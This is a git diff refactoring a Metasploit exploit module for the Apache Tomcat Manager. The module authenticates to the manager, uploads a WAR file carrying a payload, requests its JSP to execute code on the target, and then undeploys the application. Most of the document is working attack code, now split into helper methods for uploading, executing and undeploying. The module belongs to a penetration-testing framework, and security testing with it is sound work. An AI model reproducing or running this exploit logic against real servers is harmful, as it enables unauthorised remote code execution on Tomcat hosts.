diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb index 7be5a042a2..39d174d7b1 100644 --- a/modules/exploits/multi/http/tomcat_mgr_upload.rb +++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb @@ -146,7 +146,6 @@ class Metasploit3 < Msf::Exploit::Remote # # Find the session ID and the CSRF token # - print_status("#{peer} - Retrieving session ID and CSRF token...") unless access_manager? fail_with(Failure::Unknown, "Unable to access the Tomcat Manager") @@ -155,53 +154,32 @@ class Metasploit3 < Msf::Exploit::Remote # # Upload Payload # - - war = war_payload - upload_path = normalize_uri(target_uri.path.to_s, "html", "upload") - print_status("Uploading #{war.length} bytes as #{@app_base}.war ...") - - res = send_war_payload(upload_path, war) - - fail_with(Failure::Unknown, "Upload failed on #{upload_path} [No Response]") unless res - - if res.code < 200 or res.code >= 300 - print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") if res.code == 401 - fail_with(Failure::Unknown, "Upload failed on #{upload_path} [#{res.code} #{res.message}]") + print_status("#{peer} - Uploading and deploying #{@app_base}...") + if upload_payload + report_auth_info( + :host => rhost, + :port => rport, + :sname => (ssl ? "https" : "http"), + :user => datastore['USERNAME'], + :pass => datastore['PASSWORD'], + :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", + :active => true + ) + else + fail_with(Failure::Unknown, "Upload failed") end - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => datastore['USERNAME'], - :pass => datastore['PASSWORD'], - :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", - :active => true - ) - # # Execute Payload # - - jsp_path = normalize_uri(@app_base, "#{@jsp_name}.jsp") - - print_status("Executing #{jsp_path}...") - - res = send_request_cgi({ - 'uri' => jsp_path, - 'method' => 'GET' - }) - - print_error("Execution failed on #{@app_base} [No Response]") unless res - if res and (res.code < 200 or res.code >= 300) - print_error("Execution failed on #{@app_base} [#{res.code} #{res.message}]") - vprint_status(res.body) + print_status("#{peer} - Executing #{@app_base}...") + unless execute_payload + fail_with(Failure::Unknown, "Failed to execute the payload") end # # Get the new CSRF token & session id # - unless access_manager? fail_with(Failure::Unknown, "Unable to access the Tomcat Manager") end @@ -209,15 +187,10 @@ class Metasploit3 < Msf::Exploit::Remote # # Delete the deployed payload # - - print_status("Undeploying #{@app_base} ...") - undeploy_url = normalize_uri(target_uri.path.to_s, "html", "undeploy") - res = send_request_undeploy(undeploy_url) - print_warning("WARNING: Undeployment failed on #{undeploy_url} [No Response]") unless res - if res and (res.code < 200 or res.code >= 300) - print_warning("Deletion failed on #{path_tmp} [#{res.code} #{res.message}]") + print_status("#{peer} - Undeploying #{@app_base} ...") + unless undeploy_app + print_warning("#{peer} - Failed to undeploy #{@app_base}...") end - end def query_status @@ -307,7 +280,7 @@ class Metasploit3 < Msf::Exploit::Remote def find_csrf(res = nil) return "" if res.blank? - print_status("Finding CSRF token...") + vprint_status("#{peer} - Finding CSRF token...") body = res.body @@ -383,4 +356,71 @@ class Metasploit3 < Msf::Exploit::Remote return true end + def upload_payload + war = war_payload + upload_path = normalize_uri(target_uri.path.to_s, "html", "upload") + vprint_status("#{peer} - Uploading #{war.length} bytes as #{@app_base}.war ...") + res = send_war_payload(upload_path, war) + return parse_upload_response(res) + end + + def parse_upload_response(res) + unless res + vprint_error("#{peer} - Upload failed on #{upload_path} [No Response]") + return false + end + + if res.code < 200 or res.code >= 300 + vprint_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") if res.code == 401 + vprint_error("Upload failed on #{upload_path} [#{res.code} #{res.message}]") + return false + end + + return true + end + + def execute_payload + jsp_path = normalize_uri(@app_base, "#{@jsp_name}.jsp") + + vprint_status("#{peer} - Executing #{jsp_path}...") + + res = send_request_cgi({ + 'uri' => jsp_path, + 'method' => 'GET' + }) + + return parse_execute_response(res) + end + + def parse_execute_response(res) + unless res + vprint_error("#{peer} - Execution failed on #{@app_base} [No Response]") + return false + end + + if res and (res.code < 200 or res.code >= 300) + vprint_error("#{peer} - Execution failed on #{@app_base} [#{res.code} #{res.message}]") + return false + end + + return true + end + + def undeploy_app + undeploy_url = normalize_uri(target_uri.path.to_s, "html", "undeploy") + res = send_request_undeploy(undeploy_url) + + unless res + vprint_warning("#{peer} - WARNING: Undeployment failed on #{undeploy_url} [No Response]") + return false + end + + if res and (res.code < 200 or res.code >= 300) + vprint_warning("#{peer} - Deletion failed on #{undeploy_url} [#{res.code} #{res.message}]") + return false + end + + return true + end + end